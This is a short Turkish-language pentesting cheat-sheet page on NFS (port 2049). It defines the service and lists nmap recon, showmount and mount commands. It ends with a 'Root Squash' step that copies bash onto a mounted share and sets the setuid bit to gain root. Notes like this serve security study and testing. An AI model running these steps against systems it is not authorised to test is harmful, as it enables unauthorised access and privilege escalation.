> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/nfs-2049.md).

# NFS - 2049

### NFS Nedir?

NFS, "Network File System" anlamına gelir ve bir sistemin dizinleri ve dosyaları bir ağ üzerinden başkalarıyla paylaşmasına olanak tanır. NFS kullanarak, kullanıcılar ve programlar uzak sistemlerdeki dosyalara neredeyse yerel dosyalarmış gibi erişebilirler. Bunu, bir dosya sisteminin tamamını veya bir kısmını bir sunucuya mount ederek yapar. Dosya sisteminin bağlanan kısmına, her dosyaya atanan ayrıcalıklara sahip istemciler tarafından erişilebilir.

### Recon

```bash
nmap -p 2049 --script=nfs-ls,nfs-showmount,nfs-statfs <IP>
```

### Mounting

```bash
showmount -e 192.168.1.2

mkdir /tmp/mount
mount -t nfs 192.168.1.2:/remote_folder /tmp/mount -o nolock
```

### Root Squash

```bash
cp /bin/bash /tmp/mount/<FOLDER>
chmod +s bash
```
